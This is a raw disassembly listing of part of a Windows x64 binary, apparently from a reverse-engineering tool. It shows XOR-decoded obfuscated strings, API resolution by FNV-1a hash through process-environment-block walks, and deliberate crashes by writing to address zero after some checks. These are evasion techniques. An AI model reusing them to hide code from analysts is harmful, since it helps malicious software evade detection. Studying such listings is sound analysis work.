xor byte [rbp + 2], 0x39
xor byte [rbp + 3], 0x3a
xor byte [rbp + 4], 0x3b
xor byte [rbp + 5], 0x3c
xor byte [rbp + 6], 0x3d
xor byte [rbp + 7], 0x3e
xor cl, 0x3f
mov byte [rbp + 8], cl
xor byte [rbp + 9], 0x40
xor al, 0x41
mov byte [rbp + 0xa], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x140196431]
lea rcx, [rbp]
call fcn.140047750
call fcn.140021460
movaps xmm0, xmm9
call fcn.140021bd0
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x5c0], 0x43700000
mov dword [rbp + 0x5c4], 0x437a0000
lea rcx, [rbp + 0x5c0]
call fcn.140025c50
movups xmm0, xmmword [0x1401613b0]
movups xmmword [rbp + 0x778], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14008cce1
cmp ebx, 2
jl 0x14008cc9f
movdqa xmm5, xmmword [0x1401222b0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x77c]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14008cba0
jmp 0x14008cce1
lea r9, [rbp + 0x778]
mov r8d, r12d
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14008ccb0
lea rcx, [rbp + 0x778]
call fcn.14004f2f0
mov dword [rbp + 0x5c8], 0x43700000
mov dword [rbp + 0x5cc], 0x43898000
lea rcx, [rbp + 0x5c8]
call fcn.140025c50
movsd xmm0, qword [0x1401613c0]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x1401613c8]
mov word [rbp - 0x20], ax
cmp byte [0x1401613c9], 0
je 0x14008cd56
mov byte [rbp - 0x28], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x27], 0x38
xor byte [rbp - 0x26], 0x39
xor byte [rbp - 0x25], 0x3a
xor byte [rbp - 0x24], 0x3b
xor byte [rbp - 0x23], 0x3c
xor byte [rbp - 0x22], 0x3d
xor byte [rbp - 0x21], 0x3e
xor byte [rbp - 0x20], 0x3f
xor byte [rbp - 0x1f], 0x40
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x140196530]
lea rcx, [rbp - 0x28]
call fcn.140047750
call fcn.140021460
mov dword [rsi + 0x114], 0x3f4ccccd
mov dword [rsi + 0x118], 0x3ecccccd
mov qword [rsi + 0x11c], 0x3e4ccccd
mov dword [rbp + 0x5d0], 0x43700000
mov dword [rbp + 0x5d4], 0x439d8000
lea rcx, [rbp + 0x5d0]
call fcn.140025c50
mov rcx, rdi
call fcn.140025a50
movaps xmm6, xmmword [0x140164420]
mov dword [rbp + 0x5d8], 0x43820000
mov dword [rbp + 0x5dc], 0x42200000
movsd xmm0, qword [str.e_SHHXL]
movsd qword [rbp + 0x1a0], xmm0
mov eax, dword [0x1401613d8]
mov dword [rbp + 0x1a8], eax
movzx eax, word [0x1401613dc]
mov word [rbp + 0x1ac], ax
movzx eax, byte [0x1401613de]
mov byte [rbp + 0x1ae], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008cf2b
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.e_SHHXL]
xorps xmm2, xmm0
movd dword [rbp + 0x1a0], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a4]
xorps xmm2, xmm1
movd dword [rbp + 0x1a4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14008cf40
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rbp + 0xc0], xmm6
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401966b0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401966a8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401966a0]
xor r8d, r8d
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0x1a0]
call fcn.14003f490
test al, al
je 0x14008de85
lea rax, [rbp + 0x8f0]
mov qword [rbp + 0x500], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f0], xmm0
mov qword [rbp + 0x900], r12
mov qword [rbp + 0x908], r12
xor r8d, r8d
lea rdx, [0x140116ad4]
lea rcx, [rbp + 0x8f0]
call fcn.140056350
nop
lea rax, [rbp + 0x850]
mov qword [rbp + 0x770], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x850], xmm0
mov qword [rbp + 0x860], r12
mov qword [rbp + 0x868], r12
mov r8, r14
lea rdx, [0x140196530]
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x14008d050
lea rcx, [rbp + 0x850]
call fcn.140056350
nop
lea rax, [rbp + 0x890]
mov qword [rbp + 0xc0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x890], xmm0
mov qword [rbp + 0x8a0], r12
mov qword [rbp + 0x8a8], r12
mov r8, r14
lea rax, [0x140196431]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14008d0a0
mov rdx, rax
lea rcx, [rbp + 0x890]
call fcn.140056350
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x870], xmm0
mov qword [rbp + 0x880], r12
mov qword [rbp + 0x888], r12
lea rax, [0x140196332]
nop dword [rax]
inc r14
cmp byte [rax + r14], 0
jne 0x14008d0e0
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x870]
call fcn.140056350
nop
lea rax, [rbp + 0x8f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x850]
lea r8, [rbp + 0x890]
lea rdx, [rbp + 0x870]
lea rcx, [0x140197af0]
call fcn.1400bc150
cmp byte [0x140197d00], 0
jne 0x14008d1b7
movsd xmm0, qword [str.vMMReyOLP2A]
movsd qword [rbp + 0x20], xmm0
movzx ecx, word [0x1401613e8]
mov word [rbp + 0x28], cx
movzx eax, byte [0x1401613ea]
mov byte [rbp + 0x20], 0x41
xor byte [rbp + 0x21], 0x38
xor byte [rbp + 0x22], 0x39
xor byte [rbp + 0x23], 0x3a
xor byte [rbp + 0x24], 0x3b
xor byte [rbp + 0x25], 0x3c
xor byte [rbp + 0x26], 0x3d
xor byte [rbp + 0x27], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x28], cl
xor byte [rbp + 0x29], 0x40
xor al, 0x41
mov byte [rbp + 0x2a], al
cmp qword [0x140197d20], 0xf
cmova r15, qword [0x140197d08]
xor r9d, r9d
lea r8, [rbp + 0x20]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14008de85
movsd xmm0, qword [str.UI_X]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1401613f8]
mov dword [rsp + 0x68], eax
cmp byte [0x1401613fb], 0
je 0x14008d331
mov r8d, r12d
cmp ebx, 2
jl 0x14008d2ea
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.UI_X]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008d300
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xee0]
call fcn.140062f20
mov r8, rax
lea rdx, [rbp + 0x11d8]
lea rcx, [0x140197af0]
call fcn.1400bf8c0
nop
cmp qword [rbp + 0x11e8], 2
jbe 0x14008dc5e
mov ecx, dword [0x1401976fc]
call fcn.14006b6c0
test al, al
je 0x14008d58f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d406
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d406
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d401
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d3e0
cmp r8d, 0xcded1a85
je 0x14008d40b
test r9d, r9d
jne 0x14008d3c0
mov rax, qword [rax]
jmp 0x14008d390
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d4b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d4b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d4b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d490
cmp r8d, 0xe80fd3a
je 0x14008d4bb
test r9d, r9d
jne 0x14008d470
mov rax, qword [rax]
jmp 0x14008d440
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d566
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d566
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d561
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d540
cmp r8d, 0xa52bcaf9
je 0x14008d56b
test r9d, r9d
jne 0x14008d520
mov rax, qword [rax]
jmp 0x14008d4f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006b3d0
test al, al
je 0x14008d7af
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d626
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d626
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d621
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d600
cmp r8d, 0xcded1a85
je 0x14008d62b
test r9d, r9d
jne 0x14008d5e0
mov rax, qword [rax]
jmp 0x14008d5b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d6d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d6d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d6d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d6b0
cmp r8d, 0xe80fd3a
je 0x14008d6db
test r9d, r9d
jne 0x14008d690
mov rax, qword [rax]
jmp 0x14008d660
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d786
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d786
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d781
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d760
cmp r8d, 0xa52bcaf9
je 0x14008d78b
test r9d, r9d
jne 0x14008d740
mov rax, qword [rax]
jmp 0x14008d710
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x1401976f0], 0
je 0x14008d9cf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d846
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d846
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d841
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d820
cmp r8d, 0xcded1a85
je 0x14008d84b
test r9d, r9d
jne 0x14008d800
mov rax, qword [rax]
jmp 0x14008d7d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d8f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d8f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d8f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d8d0
cmp r8d, 0xe80fd3a
je 0x14008d8fb
test r9d, r9d
jne 0x14008d8b0
mov rax, qword [rax]
jmp 0x14008d880
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d9a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d9a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d9a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d980
cmp r8d, 0xa52bcaf9
je 0x14008d9ab
test r9d, r9d
jne 0x14008d960
mov rax, qword [rax]
jmp 0x14008d930
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x1401613fc]
mov dword [rsp + 0x70], eax
movzx eax, word [0x140161400]
mov word [rsp + 0x74], ax
mov byte [rsp + 0x70], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x71], 0x38
xor byte [rsp + 0x72], 0x39
xor byte [rsp + 0x73], 0x3a
xor byte [rsp + 0x74], 0x3b
xor byte [rsp + 0x75], 0x3c
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.14006b410
test al, al
je 0x14008dc2f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008daa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008daa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008daa1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008da80
cmp r8d, 0xcded1a85
je 0x14008daab
test r9d, r9d
jne 0x14008da60
mov rax, qword [rax]
jmp 0x14008da30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008db56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008db56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008db51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008db30
cmp r8d, 0xe80fd3a
je 0x14008db5b
test r9d, r9d
jne 0x14008db10
mov rax, qword [rax]
jmp 0x14008dae0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008dc06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008dc06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008dc01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008dbe0
cmp r8d, 0xa52bcaf9
je 0x14008dc0b
test r9d, r9d
jne 0x14008dbc0
mov rax, qword [rax]
jmp 0x14008db90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401976f9], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401976f2], 1
jmp 0x14008de6f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008dce6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008dce6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008dce1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008dcc0
cmp r8d, 0xcded1a85
je 0x14008dceb
test r9d, r9d
jne 0x14008dca0
mov rax, qword [rax]
jmp 0x14008dc70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
